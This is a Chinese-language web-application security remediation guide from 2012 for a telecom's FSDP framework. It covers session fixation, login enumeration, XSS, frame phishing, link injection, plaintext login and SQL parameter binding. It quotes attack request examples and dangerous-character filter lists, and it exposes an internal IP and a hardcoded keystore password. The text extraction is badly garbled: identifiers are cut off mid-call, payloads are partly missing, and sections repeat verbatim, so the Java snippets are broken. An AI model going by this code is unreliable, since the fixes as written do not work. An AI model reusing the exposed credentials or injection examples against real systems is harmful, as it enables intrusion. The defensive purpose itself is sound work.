admin 管理员组

文章数量: 1086019


2024年4月29日发(作者:sqlserver2008在win10上安装)

密级:保密

文档编号:

编 写:

批 准:

WEB开发安全漏洞修复方案

(V1.0)

文档名称: WEB开发安全漏洞修复方案

审 核:

批准日期:

技术研究部

1

安全规范

文档修订记录

编号

1

6

7

8

9

10

11

12

13

14

15

16

版本号

V1.0

修订内容简述

初稿

修订日期

2012-7

作者

审核

2

安全规范

(V1.0) ........................................................................................................................................... 1

1.1 背景............................................................................................................................. 1

1.2 FSDP安全漏洞清单 ...................................................................................................... 1

1.3 安全漏洞修复方案 ......................................................................................................... 1

1.3.1 会话标识未更新 ................................................................................................. 1

1.3.2 登录错误消息凭证枚举 ..................................................................................... 2

1.3.3 不充分帐户封锁 ................................................................................................. 2

1.3.4 跨站点脚本编制 ................................................................................................. 3

1.3.5 已解密的登录请求 ............................................................................................. 6

1.3.6 跨站点脚本编制 .............................................................................................. 10

1.3.7 通过框架钓鱼 .................................................................................................. 14

1.3.8 链接注入(便于跨站请求伪造) .................................................................. 19

1.3.9 应用程序错误 .................................................................................................. 26

1.3.10 SQL注入 ........................................................................................................ 30

1.3.11 发现数据库错误模式 ................................................................................... 40

1.3.12 启用了不安全的HTTP方法 ........................................................................ 49

1.3.13 发现电子邮件地址模式 ............................................................................... 51

1.3.14 HTML注释敏感信息泄露 .............................................................................. 52

1.3.15 发现内部IP泄露模式................................................................................. 53

1.3.16 主机允许从任何域进行flash访问 ......................................................... 54

1.3.17 主机应用软件漏洞修复 ............................................................................... 54

1.3.18 目录列表 ....................................................................................................... 55

1.3.19 跨站点请求伪造 ........................................................................................... 56

1.1 需要注意的问题 ........................................................................................................... 57

3

1.1 背景

随着移动公司对信息安全的进一步加强,要求我们部署的系统必须满足安全扫描要求。

本文档描述了安徽移动对FSDP安全扫描的漏洞的解决方案,并作为WEB开发的安全编程规

范。

1.2 FSDP安全漏洞清单

见《WEB开发安全漏洞清单.xlsx》

1.3 安全漏洞修复方案

1.3.1 会话标识未更新

(一) URL

10.149.113.200/

(二) 安全问题描述

根据WASC:“会话固定”是一种攻击技术,会强制用户的会话标识变成显式值。固定会

话标识值的技术有许多种,会随着目标Web 站点的功能而不同。从利用“跨站点脚本编

制”到向Web 站点密集发出先前生成的HTTP 请求,都在这些技术范围内。用户的会话标识

固定之后,攻击者会等待用户登录,然后利用预定义的会话标识值来假定用户的联机身份。

(三) 攻击方法

登录过程前后会话标识的比较,显示它们并未更新,这表示有可能伪装用户。初步得知

会话标识值后,远程攻击者有可能得以充当已登录的合法用户。

任何时候,只要一名用户与应用程序的交互状态由匿名转变为确认,应用程序就应该发

布一个新的会话令牌。这不仅适用于用户成功登录的情况,而且适用于匿名用户首次提交个

人或其他敏感信息时。

(四) 安全规范要求

COOKIE中的登陆前JSESSIONID与登陆后JESSIONID不能相同。(只有J2EE应用

服务器为JESSIONID,其他应用服务器可能不同)

(五) 解决方案

将如下代码加入到登陆页面()的最后行:

<%

sion().invalidate();//清空session

Cookie cookie = kies()[0];//获取cookie

Age(0);//让cookie过期

1

安全规范

%>

1.3.2 登录错误消息凭证枚举

(一) URL

10.149.113.200/

(二) 安全问题描述

当试图利用不正确的凭证来登录时,当用户输入无效的用户名和无效的密码时,应用程

序会分别生成不同的错误消息。

通过利用该行为,攻击者可以通过反复试验(蛮力攻击技术)来发现应用程序的有效用

户名,再继续尝试发现相关联的密码。这样会得到有效用户名和密码的枚举,攻击者可以用

来访问帐户。

(三) 攻击方法

修改

10.149.113.200/ 的

HTTP报文头:将参数“optrid”的值设置

为“test123WithSomeChars”,除去cookie“JSESSIONID”,除去HTTP 头

“Cookie=JSESSIONID”。

(四) 安全规范要求

对每个错误的登录尝试发出相同的错误消息,不管是哪个字段发生错误,特别是用户名

或密码字段错误。

(五) 解决方案

类中getLoginInfo方法,涉及到登录错误提示的都改成:

“您输入的用户名或密码不正确!”。

登录超过3次数的改成:

“您尝试登陆失败超过"+_ERROR_TIMES+"次,请30分钟后再登陆!”。

1.3.3 不充分帐户封锁

(一) URL

10.149.113.200/

(一) 安全问题描述

发送了两次合法的登录尝试,并且在其间发送了几次错误的登录尝试。最后一个响应与

第一个响应相同。这表明存在未充分实施帐户封锁的情况,从而使登录页面可能受到蛮力攻

2

安全规范

击。(即使第一个响应不是成功的登录页面,也是如此。)

(二) 攻击方法

修改

10.149.113.200/ 的

HTTP报文头:除去cookie“JSESSIONID”,

除去HTTP 头“Cookie=JSESSIONID”。

(三) 安全规范要求

多次登录尝试失败后实施帐户封锁

(四) 解决方案

中的getLoginInfo方法,修订如下代码片段:

//判断登陆失败次数

if(!checkLoginError(logininfo)){

Code("0003");

Desc("您尝试登陆失败超过

"+_ERROR_TIMES+"次,请

"+_ERROR_LOCK_SECOND+"分钟后再登录!");

return ret;

//增加验证登陆错误次数代码

addLoginErrorRec(logininfo);

}

1.3.4 跨站点脚本编制

(一) URL

10.149.113.200/

10.149.113.200/

(二) 安全问题描述

可能会窃取或操纵客户会话和cookie,它们可能用于模仿合法用户,从而使黑客能够以

该用户身份查看或变更用户记录以及执行事务。

(三) 攻击方法

Web 站点中所包含的脚本直接将用户在HTML 页面中的输入(通常

是参数值)返回,而不预先加以清理。如果脚本在响应页面中返回由JavaScript 代码组成的

输入,浏览器便可以执行此输入。因此,有可能形成指向站点的若干链接,且其中一个参数

3

安全规范

包含恶意的JavaScript 代码。该代码将在站点上下文中(由用户浏览器)执行,这使得该代

码有权访问用户在该站点中具有访问权的cookie,以及站点中其他可通过用户浏览器访问的

窗口。

攻击依照下列方式继续进行:攻击者诱惑合法用户单击攻击者生成的链接。用户单击该

链接时,便会生成对于Web 站点的请求,其中的参数值含有恶意的JavaScript 代码。如果Web

站点将这个参数值嵌入在响应的HTML 页面中(这正是站点问题的本质所在),恶意代码便会

在用户浏览器中运行。

(四)

FSDP框架中在传递参数时有两个主要参数classes与common,一个指定要调用的

service,一个是调用service中的方法,如果service或方法不存在,就会跳转到错

误信息显示,并将详细的错误信息显示出来,如:

?method=call&nextPage=/oa/task/task_&c

lasses=taskClientImpl&common=getInfoQueryDate这个URL,如果我们将URL

修改一下,变成如下:

?method=call&nextPage=/oa/task/task_&c

lasses=taskClientImpl&common=getInfoQue

ryDate,通过这个URL执行时会提示service不存在,并跳转到错误页面,同时会弹出

123信息的提示窗口,同时如果我们修改common参数也能达到这种效果

(五)

增加如下配置:

CROSS_DOMAIN_STR

<,>,%3C,%3E

类增加如下变量:

/**

* 跨域特殊字符判断

*/

4

安全规范要求

解决方案

安全规范

public static List CROSS_DOMAIN_STR = new ArrayList();

类增加initSafetyConf 安全初始化配置方法

private void initSafetyConf(){

_DOMAIN_();

String crossDomainStr =

getServletContext().getInitParameter("CROSS_DOMAIN_STR");

String[] crossDomainAry = (",");

for(String s : crossDomainAry){

_DOMAIN_(());

}

_ERROR_TIMES

getServletContext().getInitParameter("LOGIN_ERROR_TIMES");

_ERROR_LOCK_SECOND

getServletContext().getInitParameter("LOGIN_ERROR_LOCK_SECOND");

(_DOMAIN_STR);

("LOGIN_ERROR_TIMES="+_ERROR_TIMES);

("LOGIN_ERROR_LOCK_SECOND="+_ERROR_LOCK_S

ECOND);

}

在init方法中直接调用

在类中增加checkCrossDomain 跨域特殊字符串检查,并在

doFilter 中进行判断验证,如果存在特殊字符,则直接跳转到登陆界面

修改,此处是用于处理返回的错误信息

目前是通过标签方式加载错误信息,此处可根据输入的条件来进行

错误注入,执行js代码,修改该当如下:

一、将此错误标签通过textarea进行包装,错误信息是以文本方式显示,无法执行,如下:

同时修改类的

processError 方法,将

段代码改为(ste[i]).append("

");

(ste[i]).append("n");

二、无论返回什么错误信息,此处只显示“操作故障,请确认操作是否合法或联系管理员检

查!”

5

安全规范

启用了不安全的HTTP 方法

1.3.5 已解密的登录请求

/*

PUT

DELETE

HEAD

OPTIONS

TRACE

SEARCH

COPY

MOVE

PROPFIND

PROPPATCH

MKCOL

LOCK

UNLOCK

BASIC

(一) URL

10.149.113.200/

(二)

安全问题描述

6

安全规范

用户登录密码为明文

(三) 攻击方法

可通过http报文截取登录用户密码

(四) 安全规范要求

发送敏感信息时,始终使用SSL 和HTTP POST 方法

(五)

解决方案

修改

port="8443" minSpareThreads="5" maxSpareThreads="75"

enableLookups="true" disableUploadTimeout="true"

acceptCount="100" maxThreads="200"

scheme="https" secure="true" SSLEnabled="true"

clientAuth="false" sslProtocol="TLS"

keystoreFile="D:/apache-tomcat-6.0.18/re"

keystorePass="friendone"/>

标红的地方注意,要与附件中re存放的位置一致

标蓝的8443要注意,外网的一律全用443端口,BOSS网系统还

是全用8443端口。

修改,在welcome-file-list后面增加如下配置

CLIENT-CERT

Client Cert Users-only Area

BASIC

SSL

/*/oa/ 为应用登录URL,此为公司OA则为此串

*/

/oa/

7

安全规范

CONFIDENTIAL

ee>

fortune

/*

PUT

DELETE

HEAD

OPTIONS

TRACE

增加初始化变量:

修改如下:

Login方法修改如下:

String requesturl = uestURL().toString();

requesturl = ing(f("//") +

2);

requesturl =

8

HTTP_URI

8080

此为从https转到http时的跳转值, 为应用部署服务器IP地址为端口

ing(0,

安全规范

f(":"));

direct(""+requesturl+":"+_UR

I+textPath()+"/?method=flogin&sessi

onid="+());

return null;

clearTempFile();

//return new

//

ActionForward("/"+T_NAME+"/frames/");

增加以下方法:

public ActionForward flogin(ActionMapping mapping,ActionForm

form,HttpServletRequest request,HttpServletResponse response) throws

Exception{

try{

String value = ameter("sessionid");

HashMap sessions = (HashMap)

sion().getServletContext().getAttribute("sessions");

HttpSession session = (HttpSession)(value);

if(session != null){

ribute(_USER,ribute(Con

(value, nsession);

session = null;

return new

_USER));

}

修改类的systemLogout方法:

ActionForward("/"+T_NAME+"/frames/");

}catch(Exception e){

}

}

("LoginAction Exception Error:"+ng());

throw e;

HttpSession nsession = sion();

String requesturl = uestURL().toString();

requesturl

ing(f("//") + 2);

requesturl = ing(0,

=

f(":"));

9

安全规范

direct(""+requesturl+":"+

P_URI+textPath()+LOGINPAGE);

//

return null;

return new ActionForward(LOGINPAGE);

1.3.6 跨站点脚本编制

(一) URL

10.149.113.200/

10.149.113.200/

(二) 安全问题描述

“跨站点脚本编制”攻击是一种隐私违例,可让攻击者获取合法用户的凭证,并在

与特定Web 站点交互时假冒这位用户。

这个攻击立足于下列事实:Web 站点中所包含的脚本直接将用户在HTML 页面中的

输入(通常是参数值)返回,而不预先加以清理。如果脚本在响应页面中返回由

JavaScript 代码组成的输入,浏览器便可以执行此输入。因此,有可能形成指向站

点的若干链接,且其中一个参数包含恶意的JavaScript 代码。该代码将在站点上下

文中(由用户浏览器)执行,这使得该代码有权访问用户在该站点中具有访问权的

cookie,以及站点中其他可通过用户浏览器访问的窗口。

攻击依照下列方式继续进行:攻击者诱惑合法用户单击攻击者生成的链接。用户单

击该链接时,便会生成对于Web 站点的请求,其中的参数值含有恶意的JavaScript

代码。如果Web 站点将这个参数值嵌入在响应的HTML 页面中(这正是站点问题的本

质所在),恶意代码便会在用户浏览器中运行。

(三) 攻击方法

A. 在响应页面中,返回发送给CGI 脚本的参数值,嵌入在HTML 中。

例如:[请求]

GET /cgi-bin/?name=JSmith HTTP/1.0

[响应]

HTTP/1.1 200 OK

Server: SomeServer

Date: Sun, 01 Jan 2002 00:31:19 GMT

Content-Type: text/html

Accept-Ranges: bytes

Content-Length: 27

10

安全规范

Hello JSmith

B. 在HTML 参数值上下文中,返回发送给CGI 脚本的参数值。

例如:[请求]

GET /cgi-bin/?name=JSmith HTTP/1.0

[响应] HTTP/1.1 200 OK Server: SomeServer Date: Sun, 01 Jan 2002

00:31:19 GMT Content-Type:

text/html Accept-Ranges: bytes Content-Length: 254

Please fill in your zip code:

(四) 安全规范要求

通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划

外的任务,

例如:启动任意SQL 查询、嵌入将在客户端执行的Javascript 代码、运行各种

操作系统命令,

等等。

建议过滤出所有以下字符:

[1] |(竖线符号)

[2] & (& 符号)

[3];(分号)

[4] $(美元符号)

[5] %(百分比符号)

[6] @(at 符号)

[7] '(单引号)

[8] "(引号)

[9] '(反斜杠转义单引号)

[10] "(反斜杠转义引号)

11

安全规范

[11] <>(尖括号)

[12] ()(括号)

[13] +(加号)

[14] CR(回车符,ASCII 0x0d)

[15] LF(换行,ASCII 0x0a)

[16] ,(逗号)

[17] (反斜杠)

(五) 解决方案

类中的getLoginInfo 方法,将之前的操作员工号与密码拼

接方式改成SQL变量绑定方式

StringBuffer sqlbuf = new StringBuffer();

("SELECT .orgcode,,me,rd,

lidate,pe,e,de,e,");

(" now() AS logindate,sp_genseqfunc('S','D') AS

sessionid,");

(" (SELECT GROUP_CONCAT(pe) FROM tb_userdatarel

B WHERE = ?) AS datatypes ,PASSWORD(?)=rd AS

pwdiscorrect");

(" FROM tb_user A,tb_organization C");

(" WHERE = ? AND e <= CURDATE() AND

e >= CURDATE() AND e = e");

增加如下配置:

CROSS_DOMAIN_STR

<,>,%3C,%3E

GET_CROSS_DOMAIN_STR

<,>,",',%,;,(,),&,+,HTTP,http,%0a

类增加如下变量:

/**

* 跨域特殊字符判断

*/

public

static List

12

CROSS_DOMAIN_STR = new

安全规范

ArrayList();

public static List GET_CROSS_DOMAIN_STR = new

ArrayList();

类增加initSafetyConf 安全初始化配置方法

private void initSafetyConf(){

_DOMAIN_();

String crossDomainStr =

getServletContext().getInitParameter("CROSS_DOMAIN_STR");

String[] crossDomainAry = (",");

for(String s : crossDomainAry){

_DOMAIN_(());

}

crossDomainStr

getServletContext().getInitParameter("GET_CROSS_DOMAIN_STR");

crossDomainAry = (",");

for(String s : crossDomainAry){

_CROSS_DOMAIN_(());

}

_ERROR_TIMES

getServletContext().getInitParameter("LOGIN_ERROR_TIMES");

_ERROR_LOCK_SECOND =

=

=

getServletContext().getInitParameter("LOGIN_ERROR_LOCK_SECOND")

;

_URI

getServletContext().getInitParameter("HTTP_URI");

(_DOMAIN_STR);

("LOGIN_ERROR_TIMES="+_ERROR_TIMES

);

("LOGIN_ERROR_LOCK_SECOND="+_ERROR

_LOCK_SECOND);

("HTTP_URI="+_URI);

}

在init方法中直接调用

13

=

安全规范

在类中增加checkCrossDomain 跨域特殊字符串检查,

并在doFilter 中进行判断验证,如果存在特殊字符,则直接跳转到登陆界面

修改,此处是用于处理返回的错误信息

目前是通过标签方式加载错误信息,此处可根据输入的条

件来进行错误注入,执行js代码,修改该当如下:

一、将此错误标签通过textarea进行包装,错误信息是以文本方式显示,无法执

行,如下:

同时修改类的

processError 方法,将

段代码改为(ste[i]).append("

");

(ste[i]).append("n");

二、无论返回什么错误信息,此处只显示“操作故障,请确认操作是否合法或联系

管理员检查!”

1.3.7 通过框架钓鱼

(一) URL

10.149.113.200/

(二) 安全问题描述

网络钓鱼是一个通称,代表试图欺骗用户交出私人信息,以便电子欺骗身份。

攻击者有可能注入frame 或iframe 标记,其中含有类似受攻击之网站的恶意属

性。不小心的用户有可能浏览它,但并不知道他正在离开原始网站,冲浪到恶意的网站。

之后,攻击者便可以诱惑用户重新登录,然后获取他的登录凭证。

(三) 攻击方法

伪造的网站嵌入在原始网站中,这个情况对攻击者有帮助,因为他的网络钓鱼企图

会披上更可信赖的外表。

利用的样本:

如果参数值未经适当清理便反映在响应中,那么下列请求:

[SERVER]/?parameter=

src="">会使响应含有通往这个邪恶站点的框架。

(四) 安全规范要求

若干问题的补救方法在于对用户输入进行清理。

通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划

外的任务,

14

name="evil"

安全规范

例如:启动任意SQL 查询、嵌入将在客户端执行的Javascript 代码、运行各种

操作系统命令,

等等。

建议过滤出所有以下字符:

[1] |(竖线符号)

[2] & (& 符号)

[3];(分号)

[4] $(美元符号)

[5] %(百分比符号)

[6] @(at 符号)

[7] '(单引号)

[8] "(引号)

[9] '(反斜杠转义单引号)

[10] "(反斜杠转义引号)

2012-7-4 16:57:34 154/187

[11] <>(尖括号)

[12] ()(括号)

[13] +(加号)

[14] CR(回车符,ASCII 0x0d)

[15] LF(换行,ASCII 0x0a)

[16] ,(逗号)

[17] (反斜杠)

以下部分描述各种问题、问题的修订建议以及可能触发这些问题的危险字符:

SQL 注入和SQL 盲注:

A. 确保用户输入的值和类型(如Integer、Date 等)有效,且符合应用程序预

期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。当使用存储

过程时,请利

用ADO 命令对象来实施它们,以强化变量类型。

C. 清理输入以排除上下文更改符号,例如:

[1] '(单引号)

[2] "(引号)

[3] '(反斜线转义单引号)

[4] "(反斜杠转义引号)

15

安全规范

[5] )(结束括号)

[6] ;(分号)

跨站点脚本编制:

A. 清理用户输入,并过滤出JavaScript 代码。我们建议您过滤下列字符:

[1] <>(尖括号)

[2] "(引号)

[3] '(单引号)

[4] %(百分比符号)

[5] ;(分号)

[6] ()(括号)

[7] &(& 符号)

[8] +(加号)

B. 如果要修订 <%00script> 变体,请参阅MS 文章 821349

C. 对于UTF-7 攻击: [-] 可能的话,建议您施行特定字符集编码(使用

'Content-Type' 头或

标记)。

HTTP 响应分割:清理用户输入(至少是稍后嵌入在HTTP 响应中的输入)。

请确保输入未包含恶意的字符,例如:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)远程命令执行:清理输入以排除对执行操作系统

命令有意义的符

号,例如:

[1] |(竖线符号)

[2] & (& 符号)

[3];(分号)

执行shell 命令:

A. 绝不将未检查的用户输入传递给eval()、open()、sysopen()、system()

之类的Perl 命令。

B. 确保输入未包含恶意的字符,例如:

[1] $(美元符号)

[2] %(百分比符号)

[3] @(at 符号)

XPath 注入:清理输入以排除上下文更改符号,例如:

[1] '(单引号)

16

安全规范

[2] "(引号) 等

LDAP 注入:

A. 使用正面验证。字母数字过滤(A..,0..9)适合大部分LDAP 查询。

B. 应该过滤出或进行转义的特殊LDAP 字符:

2012-7-4 16:57:34 155/187

[1] 在字符串开头的空格或“#”字符

[2] 在字符串结尾的空格字符

[3] ,(逗号)

[4] +(加号)

[5] "(引号)

[6] (反斜杠)

[7] <>(尖括号)

[8] ;(分号)

[9] ()(括号)

MX 注入:

应该过滤出特殊MX 字符:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)记录伪造:

应该过滤出特殊记录字符:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)

[3] BS(退格,ASCII 0x08)

ORM 注入:

A. 确保用户输入的值和类型(如Integer、Date 等)有效,且符合应用程序预

期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。

C. 使用参数化查询API

D. 清理输入以排除上下文更改符号,例如: (*):

[1] '(单引号)

[2] "(引号)

[3] '(反斜线转义单引号)

[4] "(反斜杠转义引号)

[5] )(结束括号)

[6] ;(分号)

17

安全规范

(*) 这适用于SQL。高级查询语言可能需要不同的清理机制。

(五) 解决方案

类中的getLoginInfo 方法,将之前的操作员工号与密码拼

接方式改成SQL变量绑定方式

StringBuffer sqlbuf = new StringBuffer();

("SELECT .orgcode,,me,

rd,te,pe,e,de,e,");

(" now() AS logindate,sp_genseqfunc('S','D') AS

sessionid,");

("

tb_userdatarel B

(SELECT

WHERE

GROUP_CONCAT(pe)

= ?)

FROM

AS

datatypes ,PASSWORD(?)=rd AS pwdiscorrect");

(" FROM tb_user A,tb_organization C");

(" WHERE = ? AND e <= CURDATE()

AND e >= CURDATE() AND e = e");

增加如下配置:

CROSS_DOMAIN_STR

<,>,%3C,%3E

类增加如下变量:

/**

* 跨域特殊字符判断

*/

public static List CROSS_DOMAIN_STR = new

ArrayList();

类增加initSafetyConf 安全初始化配置方法

private void initSafetyConf(){

_DOMAIN_();

String crossDomainStr =

getServletContext().getInitParameter("CROSS_DOMAIN_STR");

String[] crossDomainAry = (",");

18

安全规范

for(String s : crossDomainAry){

_DOMAIN_(());

}

_ERROR_TIMES

getServletContext().getInitParameter("LOGIN_ERROR_TIMES");

_ERROR_LOCK_SECOND =

=

getServletContext().getInitParameter("LOGIN_ERROR_LOCK_SECOND")

;

(_DOMAIN_STR);

("LOGIN_ERROR_TIMES="+_ERROR_TIMES

);

("LOGIN_ERROR_LOCK_SECOND="+_ERROR

_LOCK_SECOND);

}

在init方法中直接调用

在类中增加checkCrossDomain 跨域特殊字符串检查,

并在doFilter 中进行判断验证,如果存在特殊字符,则直接跳转到登陆界面

修改,此处是用于处理返回的错误信息

目前是通过标签方式加载错误信息,此处可根据输入的条

件来进行错误注入,执行js代码,修改该当如下:

一、将此错误标签通过textarea进行包装,错误信息是以文本方式显示,无法执

行,如下:

同时修改类的

processError 方法,将

段代码改为(ste[i]).append("

");

(ste[i]).append("n");

二、无论返回什么错误信息,此处只显示“操作故障,请确认操作是否合法或联系

管理员检查!”

1.3.8 链接注入(便于跨站请求伪造)

(一) URL

10.149.113.200/

19

安全规范

(二) 安全问题描述

可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息

可能会窃取或操纵客户会话和cookie,它们可能用于模仿合法用户,从而使黑客

能够以该用户身份查看或变更用户记录以及执行事务可能会在Web 服务器上上载、修

改或删除Web 页面、脚本和文件

(三) 攻击方法

“链接注入”是修改站点内容的行为,其方式为将外部站点的URL 嵌入其中,或

将有易受攻击的

站点中的脚本的URL 嵌入其中。将URL 嵌入易受攻击的站点中,攻击者便能够以

它为平台来

启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。

在这些可能的攻击中,有些需要用户在攻击期间登录站点。攻击者从这一易受攻击

的站点本身

启动这些攻击,成功的机会比较大,因为用户登录的可能性更大。

“链接注入”漏洞是用户输入清理不充分的结果,清理结果会在稍后的站点响应中

返回给用户。

攻击者能够将危险字符注入响应中,便能够嵌入URL 及其他可能的内容修改。

以下是“链接注入”的示例(我们假设“”站点有一个用

来问候用户的参数,称

为“name”)。

下列请求:HTTP:///?name=John Smith

会生成下列响应:

Hello, John Smith.

然而,恶意的用户可以发送下列请求:

HTTP:///?name=

SRC="/ANYSCRIPT.

asp">

这会返回下列响应:

20

安全规范

Hello, .

2012-7-4 16:57:34 149/187

如该示例所示,这有可能导致用户浏览器向几乎是攻击者所期待的任何站点发出自

动请求。因

此,他可能利用这个“链接注入”漏洞来启动若干类型的攻击:

跨站点伪造请求:攻击者可以让用户的浏览器向用户目前登录的站点发送请求,以

及执行用户

并不想执行的操作。

这些操作可能包括从站点中注销,或修改用户的概要文件、电子邮件地址,甚至是

修改密码,

结果造成彻底的帐户接管。

跨站点脚本编制:任何“跨站点脚本编制”攻击都开始自诱惑用户单击精心制作的

URL,以便利

用受害者站点中的漏洞。

发送含有恶意链接的电子邮件,或创建一个Web 站点来包含指向易受攻击的站点

的链接,通

常可以做到这一点。

当采用“链接注入”漏洞时,有可能在A 站点中嵌入一个恶意的URL,当单击这个

链接时,便启

动对B 站点的“跨站点脚本编制”攻击。

网络钓鱼:攻击者有可能注入指向类似受攻击站点的恶意站点的链接。

不小心的用户可能单击这个链接,但并不知道自己即将离开原始站点而浏览到恶意

站点。之

后,攻击者便可以诱惑用户重新登录,然后获取他的登录凭证。

(四) 安全规范要求

通过验证用户输入未包含危险字符,便可能防止恶意的用户导致应用程序执行计划

外的任务,

例如:启动任意SQL 查询、嵌入将在客户端执行的Javascript 代码、运行各种

操作系统命令,

等等。

建议过滤出所有以下字符:

[1] |(竖线符号)

21

安全规范

[2] & (& 符号)

[3];(分号)

[4] $(美元符号)

[5] %(百分比符号)

[6] @(at 符号)

[7] '(单引号)

[8] "(引号)

[9] '(反斜杠转义单引号)

[10] "(反斜杠转义引号)

[11] <>(尖括号)

[12] ()(括号)

[13] +(加号)

[14] CR(回车符,ASCII 0x0d)

[15] LF(换行,ASCII 0x0a)

[16] ,(逗号)

[17] (反斜杠)

以下部分描述各种问题、问题的修订建议以及可能触发这些问题的危险字符:

SQL 注入和SQL 盲注:

A. 确保用户输入的值和类型(如Integer、Date 等)有效,且符合应用程序预

期。

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。当使用存储

过程时,请利

用ADO 命令对象来实施它们,以强化变量类型。

C. 清理输入以排除上下文更改符号,例如:

[1] '(单引号)

[2] "(引号)

[3] '(反斜线转义单引号)

[4] "(反斜杠转义引号)

[5] )(结束括号)

[6] ;(分号)

2012-7-4 16:57:34 150/187

跨站点脚本编制:

A. 清理用户输入,并过滤出JavaScript 代码。我们建议您过滤下列字符:

[1] <>(尖括号)

22

安全规范

[2] "(引号)

[3] '(单引号)

[4] %(百分比符号)

[5] ;(分号)

[6] ()(括号)

[7] &(& 符号)

[8] +(加号)

B. 如果要修订 <%00script> 变体,请参阅MS 文章 821349

C. 对于UTF-7 攻击: [-] 可能的话,建议您施行特定字符集编码(使用

'Content-Type' 头或

标记)。

HTTP 响应分割:清理用户输入(至少是稍后嵌入在HTTP 响应中的输入)。

请确保输入未包含恶意的字符,例如:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)远程命令执行:清理输入以排除对执行操作系统

命令有意义的符

号,例如:

[1] |(竖线符号)

[2] & (& 符号)

[3];(分号)

执行shell 命令:

A. 绝不将未检查的用户输入传递给eval()、open()、sysopen()、system()

之类的Perl 命令。

B. 确保输入未包含恶意的字符,例如:

[1] $(美元符号)

[2] %(百分比符号)

[3] @(at 符号)

XPath 注入:清理输入以排除上下文更改符号,例如:

[1] '(单引号)

[2] "(引号) 等

LDAP 注入:

A. 使用正面验证。字母数字过滤(A..,0..9)适合大部分LDAP 查询。

B. 应该过滤出或进行转义的特殊LDAP 字符:

[1] 在字符串开头的空格或“#”字符

23

安全规范

[2] 在字符串结尾的空格字符

[3] ,(逗号)

[4] +(加号)

[5] "(引号)

[6] (反斜杠)

[7] <>(尖括号)

[8] ;(分号)

[9] ()(括号)

MX 注入:

应该过滤出特殊MX 字符:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)记录伪造:

应该过滤出特殊记录字符:

[1] CR(回车符,ASCII 0x0d)

[2] LF(换行,ASCII 0x0a)

[3] BS(退格,ASCII 0x08)

ORM 注入:

A. 确保用户输入的值和类型(如Integer、Date 等)有效,且符合应用程序预

期。

2012-7-4 16:57:34 151/187

B. 利用存储过程,将数据访问抽象化,让用户不直接访问表或视图。

C. 使用参数化查询API

D. 清理输入以排除上下文更改符号,例如: (*):

[1] '(单引号)

[2] "(引号)

[3] '(反斜线转义单引号)

[4] "(反斜杠转义引号)

[5] )(结束括号)

[6] ;(分号)

(*) 这适用于SQL。高级查询语言可能需要不同的清理机制。

(五) 解决方案

类中的getLoginInfo 方法,将之前的操作员工号与密码拼

接方式改成SQL变量绑定方式

StringBuffer sqlbuf = new StringBuffer();

24

安全规范

("SELECT .orgcode,,me,

rd,te,pe,e,de,e,");

(" now() AS logindate,sp_genseqfunc('S','D') AS

sessionid,");

("

tb_userdatarel B

(SELECT

WHERE

GROUP_CONCAT(pe)

= ?)

FROM

AS

datatypes ,PASSWORD(?)=rd AS pwdiscorrect");

(" FROM tb_user A,tb_organization C");

(" WHERE = ? AND e <= CURDATE()

AND e >= CURDATE() AND e = e");

增加如下配置:

CROSS_DOMAIN_STR

<,>,%3C,%3E

类增加如下变量:

/**

* 跨域特殊字符判断

*/

public static List CROSS_DOMAIN_STR = new

ArrayList();

类增加initSafetyConf 安全初始化配置方法

private void initSafetyConf(){

_DOMAIN_();

String crossDomainStr =

getServletContext().getInitParameter("CROSS_DOMAIN_STR");

String[] crossDomainAry = (",");

for(String s : crossDomainAry){

_DOMAIN_(());

}

_ERROR_TIMES

getServletContext().getInitParameter("LOGIN_ERROR_TIMES");

25

=

安全规范

_ERROR_LOCK_SECOND =

getServletContext().getInitParameter("LOGIN_ERROR_LOCK_SECOND")

;

(_DOMAIN_STR);

("LOGIN_ERROR_TIMES="+_ERROR_TIMES

);

("LOGIN_ERROR_LOCK_SECOND="+_ERROR

_LOCK_SECOND);

}

在init方法中直接调用

在类中增加checkCrossDomain 跨域特殊字符串检查,

并在doFilter 中进行判断验证,如果存在特殊字符,则直接跳转到登陆界面

修改,此处是用于处理返回的错误信息

目前是通过标签方式加载错误信息,此处可根据输入的条

件来进行错误注入,执行js代码,修改该当如下:

一、将此错误标签通过textarea进行包装,错误信息是以文本方式显示,无法执

行,如下:

同时修改类的

processError 方法,将

段代码改为(ste[i]).append("

");

(ste[i]).append("n");

二、无论返回什么错误信息,此处只显示“操作故障,请确认操作是否合法或联系

管理员检查!”

1.3.9 应用程序错误

(一) URL

10.149.113.200/

10.149.113.200/

10.149.113.200/

(二) 安全问题描述

未对入局参数值执行适当的边界检查

未执行验证以确保用户输入与预期的数据类型匹配

26

安全规范

(三) 攻击方法

如果攻击者通过伪造包含非应用程序预期的参数或参数值的请求,来探测应用程序

(如以下示

例所示),那么应用程序可能会进入易受攻击的未定义状态。攻击者可以从应用程

序对该请

求的响应中获取有用的信息,且可利用该信息,以找出应用程序的弱点。

例如,如果参数字段是单引号括起来的字符串(如在ASP 脚本或SQL 查询中),

那么注入的

单引号将会提前终止字符串流,从而更改脚本的正常流程/语法。

错误消息中泄露重要信息的另一个原因,是脚本编制引擎、Web 服务器或数据库配

置错误。

以下是一些不同的变体:

[1] 除去参数

[2] 除去参数值

[3] 将参数值设置为空值

[4] 将参数值设置为数字溢出(+/- 99999999)

[5] 将参数值设置为危险字符,如 ' " ' " ) ;

[6] 将某字符串附加到数字参数值

(四) 安全规范要求

所有涉及到拼接SQL的地方,用绑定变量方式

(五) 解决方案

非模糊匹配的很好改,将以前拼接的形式找成“?”号,如果是动态拼接,无法确

定数量的,如通过如下形式:

List args = new ArrayList();

if(!"".equals(ertitle())){

(" and itle like ?");

("%"+ertitle()+"%"); //这种方式是用来进行模

糊匹配的

}

if(!"".equals(ser())){

